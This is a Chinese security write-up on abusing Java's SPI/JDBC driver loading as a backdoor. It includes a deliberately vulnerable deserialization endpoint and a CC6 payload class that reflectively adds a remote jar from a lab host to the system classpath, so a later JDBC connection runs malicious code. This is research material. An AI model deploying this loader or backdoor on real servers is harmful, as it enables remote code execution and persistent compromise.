厉害
前言
前几天学习了pyn3rd师傅的从SPI机制到JDBC后门实现一文
主要是的思路是利用的SPI机制,进行的RCE, 主要是在DriverManager
类中能够通过SPI机制获取classpath下所有jar包的的META-INF/services/java.sql.Driver
中的类对象
之后在获取其中的JDBC实现类的时候,使用的是Class.forname
进行类的获取
所以,师傅的思路就是构造了一个恶意的jar包,在java.sql.Driver
文件下指向我们实现的恶意类,因为在使用Class.forname
加载类的时候,将会触发他的static代码块,所以我们可以在static下实现我们的意类逻辑
但是,在师傅的文章中,是在本机进行实验的,直接将构造的恶意jar包手动添加进入classpath下
我这里进行了简单的改造,通过反序列化漏洞作为入口,动态的添加远程jar包进入运行程序的classpath中,之后在进行JDBC连接的时候触发恶意逻辑
回顾
其他的师傅都说的很详细,我这里主要是学习一下具体的SPI实现
在使用DriverManager.getConnection
方法建立数据的连接中,首先会初始化DriverManager
类对象
将会触发他的static代码块
注释中也存在有解释,加载初始化的JDBC驱动,之后使用 ServiceLoader
机制
体现在代码中就是调用了loadInitialDrivers
主要是通过classloader
得到所有的驱动,调用了ServiceLoader.load(Driver.class)
方法进行获取
使用当前线程的上下文加载器,获取到service
的loader
在ServiceLoader.load
方法的调用过程中创建了一个ServiceLoader
对象
在其构造方法中,调用reload方法进行重新加载
之后回到了loadInitialDrivers
方法的调用
加载所有的服务
可以跟进到ServiceLoader#hasNextService
方法中
将需要发现的服务添加进入了URLClassPath
中进行寻找
在加载对应的服务主要是在ServiceLoader#nextService
方法中
这一小部分的调用栈为:
nextService:370, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
run:603, DriverManager$2 (java.sql)
run:583, DriverManager$2 (java.sql)
doPrivileged:-1, AccessController (java.security)
loadInitialDrivers:583, DriverManager (java.sql)
<clinit>:101, DriverManager (java.sql)
test:29, TestController (com.roboterh.vuln.controller)
反序列化漏洞利用
环境搭建
这里我使用的环境是
springboot 2.5.0
<dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.23</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.30</version> </dependency>
反序列化入口
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/unser")
public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
response.getWriter().println("successfully!!!");
}
@ResponseBody
@RequestMapping("/demo")
public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
response.getWriter().println("This is a Demo!!!");
}
}
创建了一个进行数据库连接的接口
@RequestMapping("/createSql")
public void test() {
try {
Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
Statement statement = connection.createStatement();
String sql = "select * from user";
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
System.out.println("id==>" + resultSet.getInt(1));
System.out.println("name==>" + resultSet.getString(2));
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
加载远程jar包
首先就是构造一个恶意的jar包
之后就是使用URLClassLoader
加载远程jar包
我这里使用的是CC6进行反序列化利用,需要继承AbstractTranslet
类
package pers.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class loadJar extends AbstractTranslet {
static {
String url = "http://172.27.17.8:8888/EvilJar.jar";
try {
URL url1 = new URL(url);
// 获取类加载器的addURL方法
Class<?> aClass = Class.forName("java.net.URLClassLoader");
Method addURL = aClass.getDeclaredMethod("addURL", URL.class);
addURL.setAccessible(true);
// 获取系统类加载器
URLClassLoader systemClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();
addURL.invoke(systemClassLoader, url1);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
值得注意的是为了更好的显示是否成功加载远程的恶意jar包,我在loadJar
类中添加了如下代码
try {
Class<?> aClass1 = Class.forName("com.mysql.fake.jdbc.FakeDriver");
System.out.println("Class loaded!");
} catch (ClassNotFoundException e) {
System.out.println("Class not found!");
}
之后就是运行漏洞环境,发送序列化数据
我们可以在控制台中知道能够成功加载
触发漏洞
在将远程jar包添加进入了classpath之后,尝试进行JDBC连接触发漏洞
能够通过反序列化的方式进行这种方式的利用